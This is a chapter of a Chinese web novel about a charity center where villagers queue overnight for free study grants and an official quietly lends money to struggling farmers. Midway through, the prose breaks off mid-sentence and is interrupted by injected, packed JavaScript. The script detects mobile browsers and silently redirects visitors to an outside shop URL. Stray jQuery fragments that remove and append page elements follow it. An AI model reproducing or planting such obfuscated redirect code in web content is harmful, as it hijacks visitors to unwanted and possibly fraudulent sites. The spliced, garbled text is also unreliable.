对丁天岚来说，更确切的说法是，她瞬间收到了一个资料压缩包。然后，随着她选择角度打开，相应的内容按照时间顺序，缓缓播放。
这一次，她选择了那位沉默的执行者。地点是他工作的慈善中心。
一瞬间，喧闹的声音、丰富的画面、各种气味和情绪，铺面而来。人群熙熙攘攘。一副巨大的画卷，依次展开。
这是一所庞大的建筑群。有上课的教室，巨大的广场，茂盛的树木，职工住宿和食堂，心理医疗室和物理医疗室，神庙、祈祷室、瑜伽室、游泳馆等活动场地，以及，对外办公的一系列窗口。
第一类窗口，是申请第一次免费学习资金领取处，共有五个窗口。第二类窗口，是申请第二次学习贷款，有六个窗口。其中有五个是常规窗口，第六个，是特殊渠道窗口，专门处理各种特殊事务。除此之外，还有几位志愿者，在广场的亭子里提供各种咨询服务，包括提供饮水和纸等等。
每天一开门，这里都有等了好几个小时的人们排队，来领取免费学习的资金或者申请贷款。
“阿翁，开门了。”披着过夜毯子的小孩子激动地推推老人的胳膊。
“嗯，开门了。”老人瞬间精神起来，目光炯炯，看向领取资金的窗口。这是看向新生活的希望之光。
这一老一少，是过来学习的，他们露宿广场，就可以省下住宿费可以拿回家，不仅可以学东西，还有钱赚，所以，在城里打工的村里人，一旦学习过一次，真的领到了钱，就立刻通知老家的亲人和孤寡老幼过来领钱学习，钱里包括车费住宿费和食物费。如果自己家里做饭带过来的话，就连饭费都省下来了，哈哈，可以买盐做饭，可以买衣服御寒，还可以修补一下漏雨的屋顶，真一个好年景，哈哈！
广场上排队的，还有一家五六口人，一起来学习的。小孩子叽叽喳喳说着话，小女儿揉着惺忪的眉眼，前前后后一起排队的大人们轻声交流着。
“一家人一起来很好，这样全家人住一间屋子的旅馆就可以了，省钱。“
‘是啊是啊，’“说话的这名妇人和对话者心领神会地挤了挤眼睛，说道：”要是露宿广场的话，省下的钱更多，可以给孩子买点有营养的食物，或者给家里填一头奶牛，或者填一头羊。”“
”那你家日子是好过，我们家就算填几只母鸡母鹅都是好的，主要是想买农具，这日子啊，眼瞅着越过越好。这真是让人有盼头。“
后面一位妇人也搭话道：“要我说，比起住在人生地不熟的旅馆，还是住在广场比较安全，有男女分开的厕所，有哗哗流水的自来水管，刚还看见有不怕冷的男人，直接去里面冲了个凉。那边有志愿者整夜值班，帮着看行礼，看小孩，提供保护，维持治安，还整天整晚提供热水，还可以问他们点事，聊下天。他们都特别聪明，懂得也多。”
“对啊，刚才还听见有志愿者说，孩子们可以免费去上学了。听说，新办的学校里，免费提供早午餐，可以让孩子们学习识字和算术。真好。听说学校里，每天早晨，老师会带领孩子们一起练习今天学到的内容，瑜伽、武术，和唱诵。练习结束，十点，提供早餐。上午学习语文，中午午睡，睡醒了吃水果。下午学习数学。三点，提供午餐。然后学习一些技能，比如说编织、绘画、染色、制衣什么的，如果孩子的手工做的好，还可以直接卖钱。”
“哇，还有这好事儿！那让我的孩子也去上学吧，这真是太好了！”
广场上还有单独排队过夜的，也各有各的缘由，都对将要领到的这笔钱，做好了规划，整个人充满了幸福和喜悦。
男人们也在聊天。
“我真想抽一颗烟袋。”
“那可不行，听说不让抽烟的，一排上了队，上课前都不能抽，还不能吃早饭。”
“真的啊！”
“那边志愿者说道。”
“那就不抽了。”
“不抽好，哈哈，我听说啊，上完课，还让我们免费吃一顿饭，是什么圣粥，就是杂粮粥，里面还有好多坚果果仁，还有葡萄干嘞，听说可好吃了，还量大管饱。吃完了再坐车回去，一天省下了两顿饭。”一位老人开开心心地分享道。
“啊，真的！那真是太好了！出门在外，除了自家带饼，孩子们也没吃上啥，这可就吃个新鲜，还能吃饱。真好！”
所有人都特别遵守规则，毕竟，这关系着几小时后就领到手的钱，万一出点啥事，不发钱了咋办，毕竟，车费钱还是额外出了张学习的证明，还欠着呢。
“听说可以学四样，都是免费学。任意选一门就行。”
“嗯，志愿者说了，只有第一次学发钱。想学其他三门不发钱，要是好的话，我等以后有了钱可以过来学。”
很快，他们就谈到了很酷的武术，长寿拳什么的，还谈到了怎么种庄稼怎么育种，怎么养牛养羊养狗，互相交流起了经验。
是的，很多人都说第一次出远门，腼腆而又谨慎，竖着耳朵听别人聊天，还别说，真长不少见识，听村里人说，有钱也别住旅馆，住广场，原来这么有意思啊！
天刚亮，窗口就开了。队伍行进得很快，钱发放的速度很快。接着，他们被引导进另一个场地，一个大花园。那里有四块
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204374|147828||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
牌子，想学什么，就站在那里等。一个小时一场，他们被志愿者领进教室，由老师们教导。
顺便说一下，志愿者的意思是：我按照我内心的意志行事，我愿意为所有的人类服务。他们大多数是假期有了空，过来帮忙，免费提供服务。只有少部分志愿者是长职，可以领工资。
另外一排窗口，是深化学习课程，可以申请学习贷款。当然，规矩是死的，人是活的。有按照流程，规规矩矩贷款学习的，就有受了灾糟了难，来这里打着申请学习贷款的名义上门求助的。
“我们一家五口人，都要学，嗯，要申请五份。”
“请问您想要什么时候学习？”
“明年夏天，等第一茬庄稼收了，有钱有闲了过来，我现在需要买农药化肥……”
“……”
呃，这是不小心说漏口的。窗台的人面不改色，核对完人数，把五人的学费批给了他。
“几年还？”
“十年吧，我有钱了就提前还，没钱就二十年。”农民真诚地露出一个笑脸，大大咧咧地说道。
“……”
批款的人，面不改色地在申请表上写了二十年，就让他去下一个窗口领钱了。
“我……我的妻子病了，孩子要上学，老人年纪大了，家里实在是困难。”一位老实巴交的男子，裤腿上都沾着泥，直接摊牌借钱。
“请去特殊申请窗口。”志愿者将他领到了第六个窗口那里。
“你想借多少？”
“药费，农田的花费，种子费，化肥，还有孩子上学的书包，对了，他们还需要一双走远路的鞋……这个，八百块。我真的没有多要，大人，这是最少的钱。”
“我给你一千。要预留出一些家庭意外额外开销。孩子们也需要吃点有营养的食物。”沉默的执行者和蔼地说道。
“你想什么时候学习课程？”
“三年内，家里一周转开就来学。”
“到时候你还可以申请一笔学费，你预备什么时候还？”
“谢谢大人，我这一辈子一定会还上。”
“不客气。”默老在他的申请单上写上了三百年。
是的，申请需要填写表格。但因为不认字，他们的表格几乎都是志愿者和工作人员帮助填写的。
顺便提一句，这小小的一笔钱款，真的挽救了整个家庭。这位农民后来也真的来学习了深化瑜伽课程，过了两年，又带了他的家人来学习。十几年后，他还清了钱款。他的孩子也都来这里学习过，后来富裕了，给这里捐过款，其中一个孩子，还成了这里的志愿者。